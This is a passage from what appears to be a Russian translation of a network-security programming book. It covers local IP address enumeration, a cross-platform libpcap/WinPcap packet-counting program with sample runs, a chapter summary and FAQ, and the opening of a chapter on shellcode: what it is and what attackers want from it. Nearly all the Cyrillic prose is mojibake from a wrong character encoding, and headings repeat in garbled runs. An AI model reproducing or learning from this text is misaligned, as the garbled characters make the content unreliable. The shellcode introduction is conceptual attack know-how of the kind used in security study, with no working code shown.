êîíåö ñïèñêà àäðåñîâ.
íàéäåíî 2.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 39–88 ïðèìåíåí ñïåöèôè÷íûé äëÿ Windows ìåòîä ïåðå÷èñëå-

íèÿ IP-àäðåñîâ.
� Â ñòðîêàõ 92–137 IP-àäðåñà ïåðå÷èñëÿþòñÿ òàê, êàê ýòî äåëàåòñÿ â UNIX.
� Â ñòðîêàõ 166–184 â öèêëå while ïî îäíîìó ðàçó äëÿ êàæäîãî ëîêàëüíî-

ãî IP-àäðåñà âûçûâàåòñÿ ôóíêöèÿ lookup_addr_at_idx(). Îíà ïðèíèìàåò
äâà àðãóìåíòà: öåëî÷èñëåííûé èíäåêñ èñêîìîãî IP-àäðåñà è óêàçàòåëü íà
áåççíàêîâîå öåëîå, â êîòîðîì íàéäåííûé àäðåñ áóäåò ñîõðàíåí. Åñëè
ïåðåäàííûé ýòîé ôóíêöèè èíäåêñ áîëüøå ÷èñëà IP-àäðåñîâ äàííîãî
êîìïüþòåðà, çíà÷èò âñå àäðåñà óæå ïåðå÷èñëåíû è lookup_addr_at_idx()
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âîçâðàùàåò 0. Â ñëó÷àå îøèáêè âîçâðàùàåòñÿ –1. Îòìåòèì, ÷òî ôóíê-
öèÿ lookup_addr_at_idx() ïðèìåíÿåò ðàçëè÷íûå ìåòîäû ïåðå÷èñëåíèÿ
IP-àäðåñîâ â çàâèñèìîñòè îò ïëàòôîðìû, íà êîòîðîé êîìïèëèðóåòñÿ.

� Â ñòðîêàõ 39–44 ïðîèçâîäèòñÿ èíèöèàëèçàöèÿ ïåðåìåííûõ äëÿ Win32.
Ëîêàëüíûå IP-àäðåñà áóäóò õðàíèòüñÿ â ñïèñêå LPSOCKET_ADDR_LIST;

� Â ñòðîêå 46 ñîçäàåòñÿ ñîêåò. Åãî äåñêðèïòîð íåîáõîäèì äëÿ ôóíêöèè
WSAIoctl().

� Â ñòðîêàõ 52–60 âûçûâàåòñÿ ôóíêöèÿ WSAIoctl() ñ ôëàãîì SIO_ADD-
RESS_LIST_QUERY. Ýòî çàïðîñ íà çàïîëíåíèå îáëàñòè, íà êîòîðóþ óêà-
çûâàåò LPSOCKET_ADDR_LIST, ñïèñêîì IP-àäðåñîâ äàííîãî êîìïüþ-
òåðà.

� Â ñòðîêàõ 70–74 ïðîâåðÿåòñÿ, ÷òî â âîçâðàùåííîì ôóíêöèåé WSAIoctl()
ñïèñêå åñòü õîòÿ áû îäèí àäðåñ.

� Â ñòðîêàõ 76–85 ïåðåáèðàþòñÿ âñå âîçâðàùåííûå àäðåñà. Êîãäà èíäåêñ
òåêóùåãî àäðåñà ñîâïàäàåò ñ ïåðåäàííûì ôóíêöèè, íàéäåííûé àäðåñ
êîïèðóåòñÿ â ïàðàìåòð address, è ôóíêöèÿ âîçâðàùàåò óïðàâëåíèå.

� Â ñòðîêàõ 92–99 ïðîèçâîäèòñÿ èíèöèàëèçàöèÿ ïåðåìåííûõ äëÿ UNIX.
Ñïèñîê ëîêàëüíûõ IP-àäðåñîâ áóäåò ïîìåùåí â ïåðåìåííóþ ifc òèïà
struct ifconf.

� Â ñòðîêàõ 110–114 âûçûâàåòñÿ ôóíêöèÿ ioctl() ñ ïàðàìåòðîì SIOC-
GIFCONF. Â ðåçóëüòàòå áóäåò çàïîëíåí ïåðåäàííûé ñïèñîê.

� Â ñòðîêàõ 116–135 âñå âîçâðàùåííûå ôóíêöèåé ioctl() ïåðåáèðàþòñÿ
òàê æå, êàê â ñëó÷àå Win32. Ïðè ñîâïàäåíèè òåêóùåãî èíäåêñà ñ ïåðå-
äàííûì â êà÷åñòâå ïàðàìåòðà íàéäåííûé àäðåñ êîïèðóåòñÿ â ïàðàìåòð
address, è ôóíêöèÿ âîçâðàùàåò óïðàâëåíèå.

Библиотеки pcap и WinPcap

Ñòàíäàðòíûì ñðåäñòâîì ïåðåõâàòà íåîáðàáîòàííûõ ïàêåòîâ â UNIX ñëóæèò
áèáëèîòåêà l ibpcap. Îíà ÷àñòî  ïðèìåíÿåòñÿ â ðàçíîîáðàçíûõ ñåòåâûõ óòèëè-
òàõ, â ÷àñòíîñòè, â ñêàíåðàõ è ïðîãðàììàõ ìîíèòîðèíãà ðàáîòû ñåòè.

Ìíîãèå  äèñòðèáóòèâû UNIX ñîäåðæàò áèáëèîòåêó l ibpcap ïî  óìîë÷àíèþ,
íî íà ïëàòôîðìå Windows åå íåò. Íà íàøå ñ÷àñòüå, ñóùåñòâóåò áåñïëàòíûé
ïðîäóêò WinPcap, ñîñòîÿùèé èç äðàéâåðà è áèáëèîòåêè, è îí âåäåò ñåáÿ àíàëî-
ãè÷íî pcap.

Åäèíñòâåííîå  ñóùåñòâåííîå  ðàçëè÷èå  ìåæäó WinPcap è l ibpcap ñ òî÷êè çðå-
íèÿ íàïèñàíèÿ ïåðåíîñèìûõ ïðîãðàìì – ýòî òðàêòîâêà èìåí èíòåðôåéñîâ.
Â UNIX èìåíà ñåòåâûõ èíòåðôåéñîâ ñîñòîÿò èç òðåõ èëè ÷åòûðåõ áóêâ, íàïðèìåð:
eth0 èëè xl1 è èìåííî  òàêèõ èìåí îæèäàåò áèáëèîòåêà l ibpcap. Òàê, ìîæíî  áûëî
áû ïîëó÷èòü ïåðå÷åíü äîñòóïíûõ ñåòåâûõ èíòåðôåéñîâ ñ ïîìîùüþ êîìàíäû
ifconfig, à çàòåì ïåðåäàòü èìÿ îäíîãî  èç èíòåðôåéñîâ ôóíêöèÿì èç l ibpcap:

Подлежащие переносу компоненты
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obsd32# ifconfig -a
.
.
xl1             èìÿ èíòåðôåéñà
.
.

Òåïåðü ïåðåäàäèì ýòî  èìÿ ôóíêöèè pcap_open_l ive():

pcap_open_live("x11", ...);

Â Windows æå ñåòåâûå èíòåðôåéñû èìåíóþòñÿ íå òàê. Ó èõ èìåí îñîáûé
ôîðìàò, ïðåäñòàâëåíû îíè â êîäèðîâêå Unicode è äëÿ äîñòóïà ê íèì åñòü ñïå-
öèàëüíûé API. Ïîñêîëüêó çàïèñàíû îíè íå â êîäèðîâêå ASCII, òî ïîëüçîâà-
òåëü íå ñìîæåò ïðîñòî òàê ââåñòè èõ â ïðîãðàììó.

×òîáû îáîéòè ýòó òðóäíîñòü, ïðîãðàììû, â êîòîðûõ èñïîëüçóåòñÿ áèáëèî-
òåêà WinPcap, îáû÷íî âûâîäÿò ñïèñîê âñåõ èìåþùèõñÿ ñåòåâûõ èíòåðôåéñîâ
è ïðåäëàãàþò ïîëüçîâàòåëþ ñäåëàòü âûáîð. Òàê âåäóò ñåáÿ, â ÷àñòíîñòè, ïîïó-
ëÿðíûå ïðîãðàììû Ethereal è WinDump.

Ðàçëè÷èå ëåãêî óèäåòü, çàïóñòèâ ïðîãðàììó tcpdump â UNIX, à çàòåì
WinDump – â Windows. Â UNIX âû ïðîñòî çàäàåòñÿ èìÿ èíòåðôåéñà, è ïðî-
ãðàììà íà÷èíàåò ðàáîòàòü. Â Windows ñíà÷àëà ïðèõîäèòñÿ ïðîñìîòðåòü ñïè-
ñîê èíòåðôåéñîâ, âûáðàòü èç íåãî êàêîé-ëèáî èíòåðôåéñ è ïåðåäàòü åãî
÷èñëîâîé èíäåêñ ïðîãðàììå WinDump.

Ïðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIX
obsd32# tcpdump -i eth0
Ïðè ðàáîòå íà ïëàòôîðìå Windows
C:\>windump -D
1.\Device\NPF_{80D2B901-F086-44A4-8C40-D1B13E6F81FC}
{UNKNOWN 3COMEtherLink PCI)

C:\>windump -i 1

Îïðîñ ñåòåâûõ èíòåðôåéñîâ è ïîêàç èõ ïîëüçîâàòåëþ – ýòî äîñòàòî÷íî
íåïðîñòàÿ ïðîöåäóðà. Âïðî÷åì, ïðîãðàììà WinDump ïîñòàâëÿåòñÿ ñ èñõîä-
íûìè òåêñòàìè, è âû ìîæåòå ïîñìîòðåòü, êàê âûïîëíÿþòñÿ ýòè îïåðàöèè.
Â çàãîëîâî÷íîì ôàéëå W32_fzs.h îáúÿâëåíû ôóíêöèè PrintDeviceList è Get-
AdapterFromList, êîòîðûå ñîîòâåòñòâåííî ïîëó÷àþò ñïèñîê èìåþùèõñÿ
àäàïòåðîâ è âûáèðàþò èç íåãî àäàïòåð ñ óêàçàííûì íîìåðîì.

Â ñëåäóþùåì ïðèìåðå  äåìîíñòðèðóåòñÿ ïðèìåíåíèå  áèáëèîòåê  l ibpcap è
WinPcap äëÿ àíàëèçà âñåãî ñåòåâîãî òðàôèêà â ëîêàëüíîé ñåòè è âûâîäà íà
ïå÷àòü ÷èñëà ïðèíÿòûõ ïàêåòîâ. Äëÿ óñëîâíîãî âêëþ÷åíèÿ íåîáõîäèìûõ çà-
ãîëîâî÷íûõ ôàéëîâ èñïîëüçóåòñÿ äèðåêòèâà ïðîåïðîöåññîðà #ifdef.
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Пример 7.18. Пример 7.18. Пример 7.18. Пример 7.18. Пример 7.18. Перехват пакетов (pcap1.c)
 1 /*

 2  * pcap1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð ïåðåõâàòà ïàêåòîâ

 5  * ñ ïîìîùüþ libpcap/WinPcap.

 6  */

 7
 8 #ifdef WIN32

 9
10 #pragma comment(lib, "wpcap.lib") /* required for WinPcap */

11
12 #include <windows.h>

13 #include <pcap.h>

14
15 #include "getopt.h"

16 #include "W32_fzs.h" /* required for PrintDeviceist()

17    & GetAdapterFromList() */

18 #else

19
20 #include <pcap.h>

21 #include <stdlib.h>

22
23 #endif

24
25 #include <stdio.h>

26
27 /* ôëàãè äëÿ getopt() */

28 #ifdef WIN32

29 #define OPTIONS  "i:D"

30 #else

31 #define OPTIONS  "i:"

32 #endif

33
34 /* â Win32 äîáàâèòü ïîääåðæêó äëÿ ïåðå÷èñëåíèÿ è

35    âûáîðà àäàïòåðà */

36 #ifdef WIN32

37
38 /*

39  * get_adap()

40  *

41  *

42  */

43 char *get_adap(int idx)

44 {

45   char *device = NULL;

46   char  ebuf[PCAP_ERRBUF_SIZE];

47
48   device = pcap_lookupdev(ebuf);

Подлежащие переносу компоненты
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49   if(device == NULL)

50   {

51     return(NULL);

52   }

53
54   device = GetAdapterFromList(device, idx);

55
56   return(device);

57 }

58
59 /*

60  * list_adaps()

61  *

62  *

63  */

64 void list_adaps ()

65 {

66   char *device = NULL;

67   char  ebuf[PCAP_ERRBUF_SIZE];

68
69   /*

70  *

71  * âçÿòî èç èñõîäíûõ òåêñòîâ winpcap

72  *

73  */

74   device = pcap_lookupdev(ebuf);

75   if(device == NULL)

76   {

77     printf("îøèáêà pcap_lookupdev(): %s\n", ebuf);

78     return;

79   }

80
81   PrintDeviceList(device);

82 }

83
84 #endif /* WIN32 */

85
86 int

87 main(int argc, char *argv[])

88 {

89   struct  pcap_pkthdr pkthdr;

90   pcap_t *pd  = NULL;

91   char    err[PCAP_ERRBUF_SIZE];

92   char   *ifn = NULL;

93   char   *pkt = NULL;

94   char    ch  = 0;

95   int     cnt = 0;

96 #ifdef WIN32

97   int   idx = 0; /* èíäåêñ èíòåðôåéñà */
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 98 #endif

 99
100  opterr = 0;

101  while((ch = getopt(argc, argv, OPTIONS)) != -1)

102  {

103    switch(ch)

104    {

105      case 'i':

106
107        /* â Win32 ïîëó÷èòü èíäåêñ èíòåðôåéñà */

108 #ifdef WIN32

109        idx     = atoi(optarg);

110        ifn     = get_adap(idx);

111        if(ifn == NULL)

112        {

113          printf("îøèáêà get_adap().\r\n");

114          return(1);

115        }

116 #else

117        /* â UNIX ïîëó÷èòü èìÿ èíòåðôåéñà â êîäå ASCII */

118        ifn     = optarg;

119 #endif

120        break;

121
122        /* â WIN32 ïåðå÷èñëèòü àäïòåðû – íå íóæíî

123           ïðè êîìïèëÿöèè â UNIX */

124 #ifdef WIN32

125      case 'D':

126
127        list_adaps();

128        return(0);

129 #endif

130      default :

131
132        printf("íåèçâåñòíûé àðãóìåíò.\n");

133        return(1);

134    }

135  }

136
137  if(ifn == NULL)

138  {

139     printf("íå çàäàíî èìÿ èíòåðôåéñà.\n");

140     return(1);

141  }

142
143  /* â Win32 íàïå÷àòàòü èíäåêñ èíòåðôåéñà */

144 #ifdef WIN32

145  printf("èñïîëüçóåòñÿ èíòåðôåéñ %d\n", idx);

146  /* èíà÷å íàïå÷àòàòü èìÿ èíòåðôåéñà */

Подлежащие переносу компоненты
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147 #else
148  printf("èñïîëüçóåòñÿ èíòåðôåéñ %s\n", ifn);
149 #endif
150
151  /* ïîëó÷èòü äåñêðèïòîð pcap */
152  pd = pcap_open_live(ifn, 40, 1, 25, err);
153
154  while(1)
155  {
156    /* ïîëó÷èòü ñëåäóþùèé ïàêåò */
157    pkt = (char *) pcap_next(pd, &pkthdr);
158    if(pkt != NULL)
159    {
160      ++cnt;
161      printf("ïîëó÷åíî ïàêåòîâ: %d\r", cnt);
162    }
163  }
164
165  return(0);
166 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Ïîñìîòðèì, ÷òî ïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà íà ðàçíûõ
ïëàòôîðìàõ.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>pcap1.exe
íå çàäàíî èìÿ èíòåðôåéñà.

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>pcap1.exe -D
1.\Device\NPF_{80D2B901-F086-44A4-8C40-D1B13E6F81FC}
{UNKNOWN 3COMEtherLink PCI)

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
exec\Debug>pcap1.exe -i 1
èñïîëüçóåòñÿ èíòåðôåéñ 1
ïîëó÷åíî ïàêåòîâ: 16

Ïðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSD
obsd32# gcc -o pcap1 pcap1.c -lpcap
obsd32# ./pcap1 -i xl1
èñïîëüçóåòñÿ èíòåðôåéñ xl1
ïîëó÷åíî ïàêåòîâ: 16

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 8–17 âêëþ÷àþòñÿ ñïåöèôè÷íûå äëÿ Win32 çàãîëîâî÷íûå

ôàéëû. Ôàéë W32_fzs.h âçÿò èç èñõîäíûõ òåêñòîâ WinPcap, îáúÿâëåííûå
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â íåì ôóíêöèè èñïîëüçóþòñÿ äëÿ ôîðìàòèðîâàíèÿ èìåí èíòåðôåéñîâ
ïåðåä âûâîäîì èõ íà êîíñîëü.

� Â ñòðîêå 43 îïðåäåëåíà ôóíêöèÿ get_adap(). Îíà ïðèíèìàåò åäèíñòâåí-
íûé öåëî÷èñëåííûé ïàðàìåòð – èíäåêñ ñåòåâîãî èíòåðôåéñà èç ñïèñêà
èìåþøèõñÿ â äàííîì êîìïüþòåðå, à âîçâðàùàåò èìÿ ýòîãî èíòåðôåéñà
èëè NULL, åñëè èíäåêñ íåêîððåêòåí.

� Â ñòðîêå  64 îïðåäåëåíà ôóíêöèÿ l ist_adaps(), êîòîðàÿ íå  èìååò àðãóìåí-
òîâ è èñïîëüçóåòñÿ äëÿ ïå÷àòè ñïèñêà ñåòåâûõ èíòåðôåéñîâ â ïðèãîä-
íîì äëÿ ÷òåíèÿ âèäå. Îáû÷íî îíà âûçûâàåòñÿ äëÿ òîãî, ÷òîáû äàòü âîç-
ìîæíîñòü ïîëüçîâàòåëþ âûáðàòü èíäåêñ îäíîãî èç èìåþùèõñÿ èíòåð-
ôåéñîâ. Çàòåì âûáðàííûé èíäåêñ áóäåò ïåðåäàí ôóíêöèè get_adap().

� Â ñòðîêàõ 100–135 ñ ïîìîùüþ ôóíêöèè getopt() îáðàáàòûâàþòñÿ çàäàí-
íûå â êîìàíäíîé ñòðîêå àðãóìåíòû. Ñ ïîìîùüþ äèðåêòèâû #ifdef ñëó-
÷àè Win32 è UNIX îáðàáàòûâàþòñÿ ïî-ðàçíîìó (íàïðèìåð, â Win32
ïðè çàäàíèè ôëàãà -i âûçûâàåòñÿ ôóíêöèÿ get_adap(), òîãäà êàê â UNIX
ïðîñòî ñîõðàíÿåòñÿ èìÿ óêàçàííîãî èíòåðôåéñà). Îòìåòèì, ÷òî íà
ïëàòôîðìå Win32 èìÿ èíòåðôåéñà, çàäàííîå â êîìàíäíîé ñòðîêå, äîë-
æíî áûòü ÷èñëîì, à â UNIX – ýòî ñòðîêà.

� Â ñòðîêå  152  âûçûâàåòñÿ ôóíêöèÿ pcap_open_l ive(), êîòîðàÿ âîçâðàùà-
åò äåñêðèïòîð, ïåðåäàâàåìûé çàòåì ôóíêöèÿì ïåðåõâàòà ïàêåòîâ.

� Â ñòðîêàõ 154–163 â áåñêîíå÷íîì öèêëå âûçûâàåòñÿ ôóíêöèÿ pcap_next().
Îíà âîçâðàùàåò î÷åðåäíîé ïåðåõâà÷åííûé ïàêåò, ïîñëå ÷åãî óâåëè÷è-
âàåòñÿ íà 1 ñ÷åò÷èê ïàêåòîâ cnt, à ñàì ïàêåò âûâîäèòñÿ íà stdout.

Äðàéâåð, íåîáõîäèìûé äëÿ ïåðåõâàòà ïàêåòîâ, ñàìó áèáëèîòåêó WinPcap,
à òàêæå ïðîãðàììó WinDump ñ èñõîäíûìè òåêñòàìè ìîæíî çàãðóçèòü ñ ñàéòà
http://winpcap.pol io.it.
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Резюме
Ñëîæíîñòü íàïèñàíèÿ ïåðåíîñèìîãî êîäà çàâèñèò îò ñèòóàöèè. Åñëè íà ðàç-
íûõ ïëàòôîðìàõ îäíà è òà æå çàäà÷à ðåøàåòñÿ ðàçëè÷íûìè ñïîñîáàìè, ìîæ-
íî ïðîñòî âñòàâèòü â òåêñò äèðåêòèâû ïðåïðîöåññîðà #ifdef. Íî êîíå÷íîé
öåëüþ äîëæíî ñòàòü íàïèñàíèå áèáëèîòåê è êëàññîâ, êîòîðûå ïîçâîëèëè áû
ïîâòîðíî èñïîëüçîâàòü îäèí ðàç íàïèñàííûé êîä. Òîãäà âåñü ïëàòôîðìåííî-
çàâèñèìûé êîä áóäåò ñîñðåäîòî÷åí â îäíîì ìåñòå è óïðàâëÿòü èì áóäåò ïðî-
ùå. Äëÿ ïîâòîðíîãî èñïîëüçîâàíèÿ äîñòàòî÷íî âêëþ÷èòü áèáëèîòåêó â ïðî-
åêò è âûçâàòü èç íåå ôóíêöèþ èëè ìåòîä íåêîòîðîãî êëàññà.

Äëÿ îáû÷íûõ, ëîêàëüíî èñïîëíÿåìûõ ïðîãðàìì ñàìîå ñëîæíîå – ýòî óï-
ðàâëåíèå ïàìÿòüþ è ïîèñê â ïàìÿòè. Åñëè æå ðå÷ü èäåò î ñåòåâûõ ïðîãðàì-
ìàõ, òî, êàê îòìå÷åíî â ýòîé ãëàâå, íàèáîëüøèå òðóäíîñòè âûçûâàåò íàïèñà-
íèå ïåðåíîñèìîãî êîäà äëÿ ðàáîòû ñ ïðîñòûìè ñîêåòàìè. Âñå ïîñòàâùèêè
îïåðàöèîííûõ ñèñòåì è ñåòåâîãî îáîðóäîâàíèÿ ïî-ðàçíîìó ðåàëèçóþò äîñ-
òóï ê ôèçè÷åñêèì êàíàëàì ïåðåäà÷è äàííûõ. Ó÷åò ýòèõ ðàçëè÷èé, à òàêæå
îñîáåííîñòåé êîìïèëÿòîðîâ è äîëæåí ñîñòàâëÿòü îñíîâó êàðêàñà äëÿ íàïèñà-
íèÿ êðîññ-ïëàòôîðìåííîãî êîäà.
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Обзор изложенного материала
BSD-ñîêåòû è WinsockBSD-ñîêåòû è WinsockBSD-ñîêåòû è WinsockBSD-ñîêåòû è WinsockBSD-ñîêåòû è Winsock

� Ñïåöèôèêàöèè BSD Sockets è Winsock ñõîæè ñ òî÷êè çðåíèÿ ôóíêöèî-
íàëüíîñòè è îáùåé ñòðóêòóðû, îäíàêî ðåàëèçàöèè API â íèõ ñóùåñò-
âåííî îòëè÷àþòñÿ.

Ïåðåíîñèìûå êîìïîíåíòûÏåðåíîñèìûå êîìïîíåíòûÏåðåíîñèìûå êîìïîíåíòûÏåðåíîñèìûå êîìïîíåíòûÏåðåíîñèìûå êîìïîíåíòû
� Âûäåëåíèå îòäåëüíûõ ïåðåíîñèìûõ êîìïîíåíòîâ ïîìîãàåò ðàçðàáîò-

÷èêàì ïîâòîðíî èñïîëüçîâàòü îäèíàêîâûå ôðàãìåíòû ñåòåâîãî êîäà
â ñèñòåìàõ UNIX, Linux è Windows.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Ïðè ðàáîòå â Visual Studio ÷òî ëó÷øå: óêàçûâàòü èñïîëüçóåìûå áèáëèî-
òåêè â ñâîéñòâàõ ïðîåêòà èëè çàäàâàòü èõ ñ ïîìîùüþ äèðåêòèâû #pragma
â ñàìîì òåêñòå ïðîãðàììû?

Î:Î:Î:Î:Î: Åñëè âû ñîáèðàåòåñü ðàñïðîñòðàíÿòü ñâîé èñõîäíûé êîä, òî íå ñòîèò
çàäàâàòü áèáëèîòåêè ñ ïîìîùüþ îêíà ñâîéñòâ ïðîåêòà. Ïðèìåíåíèå äèðåêòè-
âû #pragma ïðîùå è ýôôåêòèâíåå, òàê êàê â ýòîì ñëó÷àå íå ïîíàäîáÿòñÿ
íèêàêèå äîïîëíèòåëüíûå ôàéëû, êðîìå ñàìèõ èñõîäíûõ òåêñòîâ. Âïðî÷åì,
åñëè ñáîðêà âàøåé ïðîãðàììû çàâèñèò îò íàëè÷èÿ ðàáî÷åãî ïðîñòðàíñòâà
Visual Studio, òî âñå ðàâíî âìåñòå ñ èñõîäíûìè òåêñòàìè ïðèäåòñÿ ïîñòàâ-
ëÿòü ôàéëû, îïèñûâàþùèå ðàáî÷åå ïðîñòðàíñòâî è ïðîåêòû â íåì.

Â:Â:Â:Â:Â: Ìîæíî ëè âîñïîëüçîâàòüñÿ ïðèâåäåííûìè â ýòîé ãëàâå ïðèìåðàìè
â ìîåì ñîáñòâåííîì ïðîåêòå?

Î:Î:Î:Î:Î: Êîíå÷íî. Ìîæåòå âêëþ÷àòü ëþáîé êîä èç ýòîé êíèãè ïðè óñëîâèè, ÷òî
â êîììåíòàðèÿõ óêàæåòå åãî èñòî÷íèê è óïîìÿíåòå èìåíà àâòîðîâ.

Â:Â:Â:Â:Â: Êàê ìîæíî ãàðàíòèðîâàòü, ÷òî ìîé êîä áóäåò ðàáîòàòü íà âñåõ ïëàòôîð-
ìàõ, íå ñîçäàâàÿ ãðîìîçäêèé öåíòð òåñòèðîâàíèÿ?

Часто задаваемые вопросы
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Î:Î:Î:Î:Î: Â ìèðå êîììåðöèè ñíèæåíèå èçäåðæåê âñåãäà ÿâëÿåòñÿ âàæíîé öåëüþ.
Ïîýòîìó äëÿ îðãàíèçàöèè öåíòðîâ ðàçðàáîòêè è òåñòèðîâàíèÿ øèðîêî ïðè-
ìåíÿþòñÿ âèðòóàëüíûå îïåðàöèîííûå ñèñòåìû (âèðòóàëüíûå ìàøèíû –
VM). Ïîäîáíóþ ñèñòåìó ìîæíî ñêîíôèãóðèðîâàòü òàê, ÷òî íà ñåðâåðå ïîä
óïðàâëåíèåì Miscrosoft Windows áóäåò èñïîëíÿòüñÿ ÎÑ Linux, ÷òî ïîçâîëÿåò
ñýêîíîìèòü íà îáîðóäîâàíèè è ïðîãðàììíîì îáåñïå÷åíèè. Ïîýòîìó ìû ðå-
êîìåíäóåì ïîòðàòèòü íåêîòîðóþ ñóììó íà îðãàíèçàöèþ òàêîãî âèðòóàëüíî-
ãî öåíòðà.
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Введение
Äëÿ íàïèñàíèÿ shell-êîäà íåîáõîäèìî ñâîáîäíî âëàäåòü ÿçûêîì àññåìáëåðà
äëÿ ïëàòôîðìû, íà êîòîðîé îí áóäåò èñïîëíÿòüñÿ. Îáû÷íî äëÿ ðàçíûõ àïïà-
ðàòíûõ ïëàòôîðì è êàæäîé âåðñèè îïåðàöèîííîé ñèñòåìû íóæíî ïèñàòü îò-
äåëüíóþ âåðñèþ shell-êîäà. Âîò ïî÷åìó ñâîáîäíî ðàñïðîñòðàíÿåìûå ýêñï-
ëîéòû îáû÷íî íàöåëåíû íà óÿçâèìîñòè â êîíêðåòíûõ öåëåâûõ ñèñòåìàõ, ïî
òîé æå ïðè÷èíå ê ýêñïëîéòó êàê ïðàâèëî ïðèëàãàåòñÿ äëèííûé (õîòÿ, êàê
ïðàâèëî, íåïîëíûé) ïåðå÷åíü âåðñèé ÎÑ è àïïàðàòóðû, íà êîòîðûõ îí ðàáîòà-
åò. Çíà÷èòåëüíàÿ ÷àñòü shell-êîäà çàâèñèò îò îïåðàöèîííîé ñèñòåìû, òàê êàê
â ðàçíûõ îïåðàöèîííûõ ñèñòåìàõ èñïîëüçóþòñÿ ðàçëè÷íûå ñèñòåìíûå âûçî-
âû. Ïîâòîðíîå èñïîëüçîâàíèå ïðîãðàììû, â êîòîðîé åñòü shell-êîä, âîçìîæ-
íî, õîòÿ è çàòðóäíèòåëüíî, ïîýòîìó âñòðå÷àåòñÿ ðåäêî. Ðåêîìåíäóåòñÿ âñåãäà
ïèñàòü è îòëàæèâàòü shell-êîä ñíà÷àëà íà C, à óæå ïîòîì ïåðåâîäèòü íà ÿçûê
àññåìáëåðà. Òîãäà âû ñìîæåòå ñîñðåäîòî÷èòüñÿ íà ñàìèõ ñèñòåìíûõ âûçîâàõ,
à íå íà ñïåöèôèêå àññåìáëåðà.

Â ýòîé ãëàâå ìû äàäèì êðàòêèé îáçîð ÿçûêà àññåìáëåðà, à ïîòîì ðàññìîò-
ðèì äâà âîïðîñà, êîòîðûå íóæíî ðåøèòü ïðè íàïèñàíèè shell-êîäà: ïðîáëåìó
àäðåñàöèè è ïðîáëåìó íóëåâîãî áàéòà. Çàâåðøàåòñÿ ãëàâà ïðèìåðàìè âíåäðå-
íèÿ shell-êîäà â óäàëåííóþ è ëîêàëüíóþ ïðîãðàììó äëÿ 32-ðàçðÿäíûõ ïðîöåñ-
ñîðîâ Intel x86.

Что такое shell�код?
Shell-êîä – ýòî êîä, âíåäðÿåìûé â äðóãóþ ïðîãðàììó è èñïîëíÿåìûé â õîäå
àòàêè íà îáíàðóæåííóþ â íåé óÿçâèìîñòü. Îáû÷íî äëèíà shell-êîäà îãðàíè÷å-
íà, íàïðèìåð, ðàçìåðîì ïàêåòà, ïîñûëàåìîãî óÿçâèìîìó ïðèëîæåíèþ, ïî-
ýòîìó îí äîëæåí áûòü íàïèñàí ïðåäåëüíî ýôôåêòèâíî è ðåøàòü î÷åíü óçêóþ
çàäà÷ó. Â çàâèñèìîñòè îò öåëåé àòàêóþùåãî, ýôôåêòèâíîñòüþ (èçìåðÿåìîé,
ñêàæåì, ÷èñëîì áàéòîâ) ìîæíî ïîæåðòâîâàòü â ïîëüçó îðãàíèçàöèè çàìåñòè-
òåëÿ äëÿ ñèñòåìíîãî âûçîâà, äîïîëíèòåëüíîé ñêðûòíîñòè çà ñ÷åò ïîëèìîð-
ôèçìà, äîïîëíèòåëüíîé ñåêðåòíîñòè ïóòåì ñîçäàíèÿ çàøèôðîâàííîãî òóí-
íåëÿ èëè êîìáèíàöèè ýòèõ è äðóãèõ öåëåé.

Ñ òî÷êè çðåíèÿ õàêåðà ïðàâèëüíî íàïèñàííûé è íàäåæíûé shell-êîä íåîá-
õîäèì äëÿ óñïåøíîé àòàêè íà óÿçâèìîñòü â ðåàëüíûõ óñëîâèÿõ. Åñëè shell-êîä
íåíàäåæåí, òî àòàêóåìîå óäàëåííîå ïðèëîæåíèå èëè õîñò ìîæåò àâàðèéíî
îñòàíîâèòüñÿ. Àäìèíèñòðàòîð ïî÷òè íàâåðíÿêà çàõî÷åò âûÿñíèòü, ñ ÷åãî
âäðóã ñèñòåìà âûøëà èç ñòðîÿ, è ïîïûòàåòñÿ îòñëåäèòü èñòî÷íèê ïðîáëåìû,
à ýòî, ðàçóìååòñÿ, èäåò âðàçðåç ñ öåëÿìè õàêåðà: àíîíèìíîñòüþ èëè ñêðûòíûì
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òåñòèðîâàíèåì ñèñòåìû íà íàëè÷èå óÿçâèìîñòè. Êðîìå òîãî, íåíàäåæíûé
